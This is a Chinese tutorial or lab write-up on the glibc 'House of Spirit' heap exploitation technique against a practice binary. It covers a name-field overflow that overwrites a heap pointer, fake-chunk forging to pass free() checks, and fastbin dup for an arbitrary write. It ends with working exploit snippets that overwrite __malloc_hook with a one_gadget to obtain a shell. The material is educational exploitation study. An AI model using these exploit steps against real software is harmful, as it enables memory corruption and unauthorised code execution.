House of Spirit
House of Spirit的核心思路就是,当拥有了一个堆指针的写权限后,通过修改这个指针可以对任意chunk调用free
,进一步由这样的能力转化为任意地址写和代码执行的能力。
实践
首先检查一下程序的安全机制
程序运行开始时给出了libc的地址和堆的起始地址
输入age和username两个参数后进入常规的堆菜单
这里对malloc
函数有一个限制,申请的大小必须是smallbins,即0x20到0x3f0之间
这个程序的漏洞点在于输入chunk name的地方,允许输入的name长度是0x10,但是m_array
本身定义的name字段长度是8,这里发生了溢出导致接下来的ptr可能被覆盖
在GDB中调试一下
这里写的name长度是8个字符
任意地址写
下面首先尝试获取到任意地址写的能力
使用我们之前已经学过的方法
既然我们能够控制堆指针,那我们就可以free掉一个伪造的chunk
可以利用fastbin dup中使用到的方法在想要写的位置附近申请一个chunk
可以看到我们要修改的target上方的0x602018
处有我们输入的age
如果将这个值伪造成一个chunk的size
那么我们就可以利用fastbin dup申请这一块的区域
回忆一下,fastbin dup需要free
三次相同大小的fastbin,并且之后需要malloc
四次
free(a)
free(b)
free(a)
在这个例子中因为每次想要得到一个指针,都需要malloc
一次,并通过溢出name修改指针
所以free
三次就需要malloc
三次
这三个指针都指向我们伪造的chunk中
这样在一个大小为0x200的chunk中伪造了两个0x60大小的chunk
利用fastbin dup的方法free
三次之后可以看到fastbin形成了一个环
接下来就是fastbin dup中使用的方法malloc
四次,在我们目标的target附近申请一个chunk
完成之后target的字符串被修改为了Much Win
也就是说我们实现了一个任意地址写
age=0x61
name = b"A"*8
chunk_A = malloc(0x1f8, (p64(0)+p64(0x61)+p64(0)*10)*2, name)
chunk_B = malloc(0x68, b"Y"*0x18, name+p64(heap+0x20))
chunk_C = malloc(0x68, b"Y"*0x18, name+p64(heap+0x80))
chunk_D = malloc(0x68, b"Y"*0x18, name+p64(heap+0x20))
free(chunk_B)
free(chunk_C)
free(chunk_D)
#
malloc(0x58, p64(0x602010), name)
malloc(0x58, b'x'*18, name)
malloc(0x58, b'x'*18, name)
malloc(0x58, p64(0)*8 + b'Much Win', name)
但是这里存在一个问题,我们使用了8次malloc
才实现这样一个效果
有没有更简单的方法呢?
不如来尝试一下直接在第一次malloc时就直接修改指针指向目标的target处
age = 0x6f
name = b"A"*8
chunk_A = malloc(0x18, b"Y"*0x18, name+p64(0x602010+0x10))
free(chunk_A)
因为栈中存储的指针是chunk的user data部分,所以覆盖的值需要加0x10
这样运行之后在执行free
时报错了,gdb直接raise了一个error
注意到这里的backtrace和我们预期中不太一样,报错并不是free
的报错
而是munmap_chunk
函数出现了错误
使用malloc_chunk &user
可以看到这个chunk被解析时的标志位
其中IS_MMAPED
是被设置了的
当一个chunk存在这个标志位时,申请时是通过mmap
申请而非malloc
申请的
同理释放时通过unmmap
而非free
这就和我们预期不同了,我们希望它能够free之后进到fastbin中,方便接下来再申请过来
那么修改一下age,从0x6f
改为0x61
呢?
运行时又出错了,不过这次是free
出现的错误
切换到_int_free
的frame看一下报错的原因
这里报错提示的是free(): invalid next size (fast)
使用list 4245
查看完整的检查内容
这里检查的是chunksize_nomask(chunk_at_offset(p,size))<=2*SIZE_SZ
以及chunksize(chukn_at_offset(p,size))>= av->system_mem
也就是说我们伪造的chunk之后的内容,是否小于2*SIZE_SZ
或大于整个系统的内存
在我们伪造的chunk之后的内容正好是0,所以不满足第一个条件
这里实际上检查的是绿色方框的内容,可以注意到再后面就是username存储的位置
如果我们设置大小为0x71,并且把username设置为一个合适的大小,或许就可以绕过这个检查了
age = 0x71
username = p64(0)+p64(0x20ff1)
name = b"A"*8
chunk_A = malloc(0x18, b"Y"*0x18, name+p64(0x602010+0x10))
free(chunk_A)
这里填的一个值是Top chunk的大小,这次运行没有报错
那么接下来直接malloc一个0x70大小的chunk就可以修改target的值了
target = malloc(0x68, p64(0)*8 + b"Much Win",name)
这样我们就只利用两次malloc
实现了写的操作
这种方法有几个地方需要确保:
- Fake Size的
IS_MAPPED
、NON_MAIN_ARENA
、UNUSED
位都需要清零; - 需要能控制fake chunk后面的nextsize
代码执行
那么接下来就是尝试将任意地址写转换成代码执行
这部分的核心思路是申请到_malloc_hook
附近的chunk,进而修改_malloc_hook
直接使用fastbin_dup中的方法就可以实现
在malloc_hook附近查找有没有可以伪造的chunk
然后直接改一下利用fastbin dup写的目标地址和size
把malloc_hook
覆盖成一个one_gadget的地址
name = b"A"*8
chunk_A = malloc(0x68, b"Y"*0x18, name)
chunk_B = malloc(0x68, b"Y"*0x18, name)
chunk_C = malloc(0x68, b"Y"*0x18, name+p64(heap+0x10))
free(chunk_A)
free(chunk_B)
free(chunk_C)
malloc(0x68, p64(libc.sym.__malloc_hook - 0x23), name)
malloc(0x68, b'x'*18, name)
malloc(0x68, b'x'*18, name)
# malloc(0x68,b'\x00'*0x13 + p64(libc.sym.system),name)
malloc(0x68, b'B'*0x13 + p64(libc.address+0xe1fa1) , name)
尝试了一下把__malloc_hook
改成system,但是发现不管用
最后还是使用 one_gadget了
最后再调用一次malloc
就可以获取到一个shell